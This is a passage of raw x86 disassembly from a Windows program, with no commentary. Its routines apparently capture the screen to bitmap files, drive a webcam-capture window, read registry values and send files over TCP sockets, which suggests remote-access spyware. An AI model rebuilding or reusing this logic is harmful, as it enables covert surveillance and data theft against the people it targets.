		mov	[ebp+var_10], eax
		ja	short loc_41541F
		push	18h
		push	edi
		call	dword_4CB65C
		mov	ebx, 100h
		jmp	short loc_415421
; ---------------------------------------------------------------------------


loc_41541F:				; CODE XREF: sub_4153BD+50j
		xor	ebx, ebx


loc_415421:				; CODE XREF: sub_4153BD+60j
		push	edi
		call	dword_4CB6A0
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	loc_4155D6
		mov	eax, [ebp+var_8]
		push	esi
		mov	[ebp+var_80], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_7C], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_76], ax
		lea	eax, [ebp+var_18]
		push	esi
		push	eax
		lea	eax, [ebp+var_84]
		push	1
		push	eax
		push	edi
		mov	[ebp+var_84], 28h
		mov	[ebp+var_78], 1
		mov	[ebp+var_74], esi
		mov	[ebp+var_70], esi
		mov	[ebp+var_6C], esi
		mov	[ebp+var_68], esi
		mov	[ebp+var_64], ebx
		mov	[ebp+var_60], ebx
		call	dword_4CB698
		cmp	eax, esi
		mov	[ebp+var_1C], eax
		jz	loc_4155E1
		push	eax
		push	[ebp+var_4]
		call	dword_4CB524
		cmp	eax, esi
		jz	loc_4155E1
		cmp	eax, 0FFFFFFFFh
		jz	loc_4155E1
		push	0CC0020h
		push	esi
		push	esi
		push	edi
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	esi
		push	esi
		push	[ebp+var_4]
		call	dword_4CB69C
		test	eax, eax
		jz	loc_4155E1
		cmp	ebx, esi
		jz	short loc_4154DE
		lea	eax, [ebp+var_484]
		push	eax
		push	ebx
		push	esi
		push	[ebp+var_4]
		call	dword_4CB578
		mov	ebx, eax


loc_4154DE:				; CODE XREF: sub_4153BD+10Bj
		mov	edi, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		imul	edi, [ebp+var_C]
		imul	edi, ecx
		mov	eax, ebx
		push	esi
		shr	edi, 3
		shl	eax, 2
		mov	[ebp+var_8], eax
		push	80h
		lea	edx, [eax+edi+36h]
		add	eax, 36h
		push	2
		mov	[ebp+var_26], eax
		mov	eax, [ebp+var_C]
		push	esi
		push	esi
		push	40000000h
		push	[ebp+arg_0]
		mov	[ebp+var_50], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_30], 4D42h
		mov	[ebp+var_2E], edx
		mov	[ebp+var_2A], si
		mov	[ebp+var_28], si
		mov	[ebp+var_58], 28h
		mov	[ebp+var_54], ecx
		mov	[ebp+var_4C], 1
		mov	[ebp+var_4A], ax
		mov	[ebp+var_48], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], esi
		call	near ptr 27009BAh
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_4155C1
		lea	ecx, [ebp+var_14]
		push	esi
		push	ecx
		lea	ecx, [ebp+var_30]
		push	0Eh
		push	ecx
		push	eax
		nop
		call	near ptr 26F0000h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_58]
		push	28h
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 26F0000h
		cmp	ebx, esi
		jz	short loc_4155A3
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_484]
		push	[ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 26F0000h


loc_4155A3:				; CODE XREF: sub_4153BD+1CCj
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	edi
		push	[ebp+var_18]
		push	[ebp+arg_0]
		nop
		call	near ptr 26F0000h
		push	[ebp+arg_0]
		nop
		call	near ptr 26608E3h
		push	1
		pop	esi


loc_4155C1:				; CODE XREF: sub_4153BD+1A2j
		push	[ebp+var_1C]
		call	dword_4CB5B0
		push	[ebp+var_4]
		call	dword_4CB510
		mov	edi, [ebp+var_20]


loc_4155D6:				; CODE XREF: sub_4153BD+70j
		push	edi
		call	dword_4CB510
		mov	eax, esi
		jmp	short loc_4155F3
; ---------------------------------------------------------------------------


loc_4155E1:				; CODE XREF: sub_4153BD+C7j
					; sub_4153BD+D9j ...
		push	edi
		call	dword_4CB510
		push	[ebp+var_4]
		call	dword_4CB510


loc_4155F1:				; CODE XREF: sub_4153BD+23j
		xor	eax, eax


loc_4155F3:				; CODE XREF: sub_4153BD+222j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4153BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4155F8	proc near		; CODE XREF: sub_401ACD+7477p

var_34		= byte ptr -34h
var_20		= dword	ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_4D3280
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_4CB5A4
		mov	edi, eax
		cmp	edi, ebx
		mov	[ebp+var_4], edi
		jnz	short loc_415636
		mov	eax, esi
		jmp	loc_4157EC
; ---------------------------------------------------------------------------


loc_415636:				; CODE XREF: sub_4155F8+35j
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_415653
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_4CB6B0
		jmp	short loc_415655
; ---------------------------------------------------------------------------


loc_415653:				; CODE XREF: sub_4155F8+47j
		xor	eax, eax


loc_415655:				; CODE XREF: sub_4155F8+59j
		cmp	eax, ebx
		jnz	short loc_415660


loc_415659:				; CODE XREF: sub_4155F8+88j
					; sub_4155F8+BCj
		mov	ebx, esi
		jmp	loc_4157E1
; ---------------------------------------------------------------------------


loc_415660:				; CODE XREF: sub_4155F8+5Fj
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_41567D
		lea	eax, [ebp+var_34]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4CB6B0


loc_41567D:				; CODE XREF: sub_4155F8+71j
		cmp	[ebp+var_20], ebx
		jz	short loc_415659
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		mov	edi, 42Ch
		jz	short loc_4156A3
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		call	dword_4CB6B0
		mov	[ebp+arg_4], eax
		jmp	short loc_4156A6
; ---------------------------------------------------------------------------


loc_4156A3:				; CODE XREF: sub_4155F8+98j
		mov	[ebp+arg_4], ebx


loc_4156A6:				; CODE XREF: sub_4155F8+A9j
		push	[ebp+arg_4]
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jz	short loc_415659
		push	[ebp+arg_4]
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4156CD
		push	1
		pop	ebx
		jmp	loc_4157E1
; ---------------------------------------------------------------------------


loc_4156CD:				; CODE XREF: sub_4155F8+CBj
		push	[ebp+var_4]
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_4156EA
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CB6B0


loc_4156EA:				; CODE XREF: sub_4155F8+E0j
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	esi
		call	sub_41C310
		mov	ecx, [ebp+arg_8]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_415705
		mov	ecx, 280h


loc_415705:				; CODE XREF: sub_4155F8+106j
		mov	eax, [ebp+arg_C]
		cmp	eax, ebx
		jg	short loc_415711
		mov	eax, 1E0h


loc_415711:				; CODE XREF: sub_4155F8+112j
		push	[ebp+var_4]
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_4CB5F4
		test	eax, eax
		mov	edi, 42Dh
		jz	short loc_41575B
		push	esi
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CB6B0


loc_41575B:				; CODE XREF: sub_4155F8+153j
		push	[ebp+var_4]
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_415778
		push	ebx
		push	ebx
		push	43Dh
		push	[ebp+var_4]
		call	dword_4CB6B0


loc_415778:				; CODE XREF: sub_4155F8+16Ej
		push	[ebp+var_4]
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_415797
		push	[ebp+arg_0]
		push	ebx
		push	419h
		push	[ebp+var_4]
		call	dword_4CB6B0


loc_415797:				; CODE XREF: sub_4155F8+18Bj
		push	[ebp+var_4]
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_4157B4
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CB6B0


loc_4157B4:				; CODE XREF: sub_4155F8+1AAj
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_4157E1
		push	ebx
		push	ebx
		push	40Bh
		push	[ebp+var_4]
		call	dword_4CB6B0


loc_4157E1:				; CODE XREF: sub_4155F8+63j
					; sub_4155F8+D0j ...
		push	[ebp+var_4]
		call	dword_4CB704
		mov	eax, ebx


loc_4157EC:				; CODE XREF: sub_4155F8+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4155F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4157F1	proc near		; CODE XREF: sub_401ACD+752Fp

var_90		= byte ptr -90h
var_7C		= dword	ptr -7Ch
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 90h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_4D3280
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_4CB5A4
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_41582F
		mov	eax, esi
		jmp	loc_415A2B
; ---------------------------------------------------------------------------


loc_41582F:				; CODE XREF: sub_4157F1+35j
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_41584C
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_4CB6B0
		jmp	short loc_41584E
; ---------------------------------------------------------------------------


loc_41584C:				; CODE XREF: sub_4157F1+47j
		xor	eax, eax


loc_41584E:				; CODE XREF: sub_4157F1+59j
		cmp	eax, ebx
		jnz	short loc_415859


loc_415852:				; CODE XREF: sub_4157F1+8Bj
					; sub_4157F1+BCj
		mov	ebx, esi
		jmp	loc_415A22
; ---------------------------------------------------------------------------


loc_415859:				; CODE XREF: sub_4157F1+5Fj
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_415879
		lea	eax, [ebp+var_90]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4CB6B0


loc_415879:				; CODE XREF: sub_4157F1+71j
		cmp	[ebp+var_7C], ebx
		jz	short loc_415852
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_41589C
		push	ebx
		push	ebx
		push	42Ch
		push	edi
		call	dword_4CB6B0
		mov	[ebp+arg_4], eax
		jmp	short loc_41589F
; ---------------------------------------------------------------------------


loc_41589C:				; CODE XREF: sub_4157F1+96j
		mov	[ebp+arg_4], ebx


loc_41589F:				; CODE XREF: sub_4157F1+A9j
		push	[ebp+arg_4]
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_415852
		push	[ebp+arg_4]
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4158C6
		push	1
		pop	ebx
		jmp	loc_415A22
; ---------------------------------------------------------------------------


loc_4158C6:				; CODE XREF: sub_4157F1+CBj
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_4158E3
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Ch
		push	edi
		call	dword_4CB6B0


loc_4158E3:				; CODE XREF: sub_4157F1+DEj
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	esi
		call	sub_41C310
		mov	ecx, [ebp+arg_C]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_4158FE
		mov	ecx, 0A0h


loc_4158FE:				; CODE XREF: sub_4157F1+106j
		mov	eax, [ebp+arg_10]
		cmp	eax, ebx
		jg	short loc_415908
		push	78h
		pop	eax


loc_415908:				; CODE XREF: sub_4157F1+112j
		push	edi
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_41594D
		push	esi
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_4CB6B0


loc_41594D:				; CODE XREF: sub_4157F1+14Aj
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_41596A
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	441h
		push	edi
		call	dword_4CB6B0


loc_41596A:				; CODE XREF: sub_4157F1+165j
		push	edi
		mov	[ebp+var_60], ebx
		mov	[ebp+var_3C], ebx
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], ebx
		mov	[ebp+var_30], 1
		mov	[ebp+var_2C], 5
		mov	[ebp+var_64], 1046Ah
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_4159A8
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	440h
		push	edi
		call	dword_4CB6B0


loc_4159A8:				; CODE XREF: sub_4157F1+1A3j
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_4159C3
		push	[ebp+arg_0]
		push	ebx
		push	414h
		push	edi
		call	dword_4CB6B0


loc_4159C3:				; CODE XREF: sub_4157F1+1C0j
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_4159DC
		push	ebx
		push	ebx
		push	43Eh
		push	edi
		call	dword_4CB6B0


loc_4159DC:				; CODE XREF: sub_4157F1+1DBj
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_4159F9
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_4CB6B0


loc_4159F9:				; CODE XREF: sub_4157F1+1F4j
		push	[ebp+var_4]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_415A22
		push	ebx
		push	ebx
		push	40Bh
		push	edi
		call	dword_4CB6B0


loc_415A22:				; CODE XREF: sub_4157F1+63j
					; sub_4157F1+D0j ...
		push	edi
		call	dword_4CB704
		mov	eax, ebx


loc_415A2B:				; CODE XREF: sub_4157F1+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4157F1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415A30	proc near		; CODE XREF: sub_401ACD+25F2p

var_3F4		= byte ptr -3F4h
var_2F0		= byte ptr -2F0h
var_F0		= byte ptr -0F0h
var_70		= byte ptr -70h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3F4h
		push	ebx
		xor	ebx, ebx
		cmp	off_4368EC, ebx
		mov	[ebp+var_C], 80h
		jz	loc_415BD1
		push	esi
		push	edi
		mov	eax, offset off_4368EC
		mov	esi, offset dword_4368F8
		mov	edi, offset dword_437AF0


loc_415A60:				; CODE XREF: sub_415A30+199j
		lea	ecx, [ebp+var_4]
		push	ecx
		push	20019h
		push	ebx
		push	dword ptr [eax]
		push	dword ptr [esi-10h]
		call	dword_4CB6C4
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		push	ebx
		push	ebx
		push	dword ptr [esi-8]
		push	[ebp+var_4]
		call	dword_4CB554
		test	eax, eax
		jnz	loc_415BB7
		mov	eax, [esi]
		cmp	eax, ebx
		jz	loc_415B7B
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_3F4]
		push	offset dword_429AC4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_3F4]
		push	offset aR	; "r"
		push	eax
		call	sub_41B4C2
		add	esp, 18h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	loc_415BB7
		push	eax


loc_415AD9:				; CODE XREF: sub_415A30+D4j
		lea	eax, [ebp+var_70]
		push	64h
		push	eax
		call	sub_41BB4F
		add	esp, 0Ch
		test	eax, eax
		jz	loc_415B70
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_70]
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415B06
		push	[ebp+var_8]
		jmp	short loc_415AD9
; ---------------------------------------------------------------------------


loc_415B06:				; CODE XREF: sub_415A30+CFj
		push	3Dh
		push	dword ptr [esi+4]
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415B34
		lea	eax, [ebp+var_70]
		push	offset asc_437AEC ; "="
		push	eax
		call	sub_41C0F4
		push	offset asc_437AEC ; "="
		push	ebx
		call	sub_41C0F4
		add	esp, 10h
		jmp	short loc_415B37
; ---------------------------------------------------------------------------


loc_415B34:				; CODE XREF: sub_415A30+E4j
		lea	eax, [ebp+var_70]


loc_415B37:				; CODE XREF: sub_415A30+102j
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_2F0]
		push	ebx
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4151AD
		add	esp, 18h


loc_415B70:				; CODE XREF: sub_415A30+B9j
		push	[ebp+var_8]
		call	sub_41B05B
		pop	ecx
		jmp	short loc_415BB7
; ---------------------------------------------------------------------------


loc_415B7B:				; CODE XREF: sub_415A30+6Aj
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4151AD
		add	esp, 28h


loc_415BB7:				; CODE XREF: sub_415A30+60j
					; sub_415A30+A2j ...
		push	[ebp+var_4]
		call	dword_4CB630
		add	esi, 18h
		cmp	[esi-0Ch], ebx
		lea	eax, [esi-0Ch]
		jnz	loc_415A60
		pop	edi
		pop	esi


loc_415BD1:				; CODE XREF: sub_415A30+19j
		pop	ebx
		leave
		retn
sub_415A30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415BD4	proc near		; CODE XREF: ___:00416279p

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CB6D4
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_415C50
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CB654
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CB694
		cmp	eax, esi
		jnz	short loc_415C35
		push	[ebp+arg_0]
		call	dword_4CB6D8
		test	eax, eax
		jz	short loc_415C50
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_415C35:				; CODE XREF: sub_415BD4+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CB5FC
		cmp	eax, esi
		jnz	short loc_415C54
		push	edi
		call	dword_4CB6EC


loc_415C50:				; CODE XREF: sub_415BD4+1Bj
					; sub_415BD4+58j
		mov	eax, esi
		jmp	short loc_415C56
; ---------------------------------------------------------------------------


loc_415C54:				; CODE XREF: sub_415BD4+73j
		mov	eax, edi


loc_415C56:				; CODE XREF: sub_415BD4+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_415BD4	endp

; ---------------------------------------------------------------------------
word_415C5A	dw 8B55h		; DATA XREF: sub_401ACD+A1Eo
		dd 11B4B8ECh, 0B9E80000h, 8B00005Eh, 56530845h,	8B6D6A57h
		dd 0BD8D59F0h, 0FFFFFE4Ch, 16AA5F3h, 0EC75FF5Eh, 1B0B089h
		dd 858D0000h, 0FFFFFE54h, 0FF42E850h, 0D88BFFFFh, 0FFFB8359h
		dd 8D527559h, 0FFEE4C85h, 7B6C68FFh, 0E8500043h, 5BDAh
		dd 3959FF33h, 7559F87Dh, 858D571Bh, 0FFFFEE4Ch,	50F475FFh
		dd 0FF6C858Dh, 5350FFFFh, 0FF3DA6E8h, 14C483FFh, 0EE4C858Dh
		dd 0E850FFFFh, 0FFFFF4D1h, 0E8F075FFh, 0FFFF572Fh, 90565959h
		dd 2CA313E8h, 0D8086802h, 0E8530043h, 3F6Dh, 0FFF88359h
		dd 8D597559h, 0FFEE4C85h, 7B3C68FFh, 0E8500043h, 5B76h
		dd 3959FF33h, 7559F87Dh, 858D571Bh, 0FFFFEE4Ch,	50F475FFh
		dd 0FF6C858Dh, 5350FFFFh, 0FF3D42E8h, 14C483FFh, 0EE4C858Dh
		dd 0E850FFFFh, 0FFFFF46Dh, 15FF5359h, 4CB6ECh, 0E8F075FFh
		dd 0FFFF56C3h, 0E8905659h, 22CA2A8h, 0E890646Ah, 225B166h
		dd 0BEFF33h, 56000010h,	0EE4C858Dh, 5057FFFFh, 581BE8h
		dd 0CC48300h, 0EE4C858Dh, 5657FFFFh, 15FF5350h,	4CB66Ch
		dd 387EC085h, 0EE4C858Dh, 0A068FFFFh, 500042A0h, 6123E8h
		dd 4C858D00h, 50FFFFEEh, 3CA8E8h, 0CC48300h, 1474C085h
		dd 0FE8646Ah, 900225B1h, 80E80A6Ah, 85FFFF55h, 0A37559C0h
		dd 0EE4C858Dh, 868FFFFh, 5000437Bh, 5AB1E8h, 0F87D3900h
		dd 1B755959h, 4C858D57h, 0FFFFFFEEh, 8D50F475h,	0FFFF6C85h
		dd 0E85350FFh, 0FFFF3C7Fh, 8D14C483h, 0FFEE4C85h, 0AAE850FFh
		dd 59FFFFF3h, 0EC15FF53h, 0FF004CB6h, 0E8F075h,	59FFFF56h
		dd 0A1E6E857h
; ---------------------------------------------------------------------------
		sub	al, 2
		nop


loc_415E1B:				; DATA XREF: sub_401ACD+7832o
		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1FCh]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp-10h], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp-0Ch], esi
		mov	[ebp-20h], esi
		call	dword_4CB6D4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp-18h], edi
		jnz	short loc_415E69
		push	offset unk_437C6C
		jmp	loc_416022
; ---------------------------------------------------------------------------


loc_415E69:				; CODE XREF: ___:00415E5Dj
		push	10h
		lea	eax, [ebp-30h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-30h], 2
		push	esi
		call	dword_4CB654
		mov	[ebp-2Eh], ax
		lea	eax, [ebp-30h]
		push	10h
		push	eax
		push	edi
		mov	[ebp-2Ch], esi
		call	dword_4CB680
		test	eax, eax
		jz	short loc_415EA7
		push	offset unk_437C48
		jmp	loc_416022
; ---------------------------------------------------------------------------


loc_415EA7:				; CODE XREF: ___:00415E9Bj
		lea	eax, [ebp-1Ch]
		mov	dword ptr [ebp-1Ch], 10h
		push	eax
		lea	eax, [ebp-30h]
		push	eax
		push	edi
		call	dword_4CB5F8
		push	dword ptr [ebp-2Eh]
		call	dword_4CB584
		mov	[ebp-4], eax
		lea	eax, [ebp-1E0h]
		push	eax
		mov	[ebp+8], esi
		call	sub_41AFE0
		pop	ecx


loc_415ED9:				; CODE XREF: ___:00415F0Aj
		mov	ecx, [ebp+8]
		mov	al, [ebp+ecx-1E0h]
		cmp	al, 20h
		jnz	short loc_415EEC
		push	5Fh
		pop	eax
		jmp	short loc_415EEF
; ---------------------------------------------------------------------------


loc_415EEC:				; CODE XREF: ___:00415EE5j
		movsx	eax, al


loc_415EEF:				; CODE XREF: ___:00415EEAj
		mov	[ebp+ecx-604h],	al
		lea	eax, [ebp-1E0h]
		inc	ecx
		push	eax
		mov	[ebp+8], ecx
		call	sub_41AFE0
		cmp	[ebp+8], eax
		pop	ecx
		jbe	short loc_415ED9
		push	ebx
		push	edi
		call	dword_4CB67C
		test	eax, eax
		jz	short loc_415F22
		push	offset unk_437B6C
		jmp	loc_416022
; ---------------------------------------------------------------------------


loc_415F22:				; CODE XREF: ___:00415F16j
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp-1E0h]
		push	80000000h
		push	eax
		call	near ptr 27009BAh
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_415F4C
		push	offset unk_437C28
		jmp	loc_416022
; ---------------------------------------------------------------------------


loc_415F4C:				; CODE XREF: ___:00415F40j
		push	esi
		push	eax
		call	near ptr 2730A95h
		nop
		mov	[ebp+8], eax
		push	eax
		movzx	eax, word ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_40AC10
		pop	ecx
		push	eax
		call	dword_4CB694
		push	eax
		call	dword_4CB650
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset dword_437C10
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-3FCh]
		push	esi
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A73
		add	esp, 2Ch
		lea	eax, [ebp-38h]
		mov	dword ptr [ebp-38h], 3Ch
		mov	[ebp-34h], esi
		push	eax
		push	esi
		lea	eax, [ebp-500h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-4FCh], edi
		mov	[ebp-500h], ebx
		call	dword_4CB63C
		test	eax, eax
		jg	short loc_415FFC
		push	esi
		lea	eax, [ebp-0DCh]
		push	dword ptr [ebp-54h]
		push	offset dword_437BF8
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A73
		jmp	loc_416120
; ---------------------------------------------------------------------------


loc_415FFC:				; CODE XREF: ___:00415FDAj
		lea	eax, [ebp-14h]
		mov	dword ptr [ebp-14h], 10h
		push	eax
		lea	eax, [ebp-48h]
		push	eax
		push	edi
		call	dword_4CB6E8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-1F8h], eax
		jnz	short loc_416035
		push	offset unk_437BD4


loc_416022:				; CODE XREF: ___:00415E64j
					; ___:00415EA2j ...
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_416123
; ---------------------------------------------------------------------------


loc_416035:				; CODE XREF: ___:0041601Bj
		push	edi
		call	dword_4CB6EC
		cmp	[ebp+8], esi
		jz	loc_4160E7
		mov	edi, 400h


loc_41604A:				; CODE XREF: ___:004160DEj
		mov	eax, [ebp+8]
		mov	[ebp-4], edi
		cmp	eax, edi
		jge	short loc_416057
		mov	[ebp-4], eax


loc_416057:				; CODE XREF: ___:00416052j
		push	edi
		lea	eax, [ebp-0A04h]
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+8]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	dword ptr [ebp-8]
		nop
		call	near ptr 2760000h
		lea	eax, [ebp-20h]
		push	esi
		push	eax
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8]
		nop
		call	near ptr 2700000h
		push	esi
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
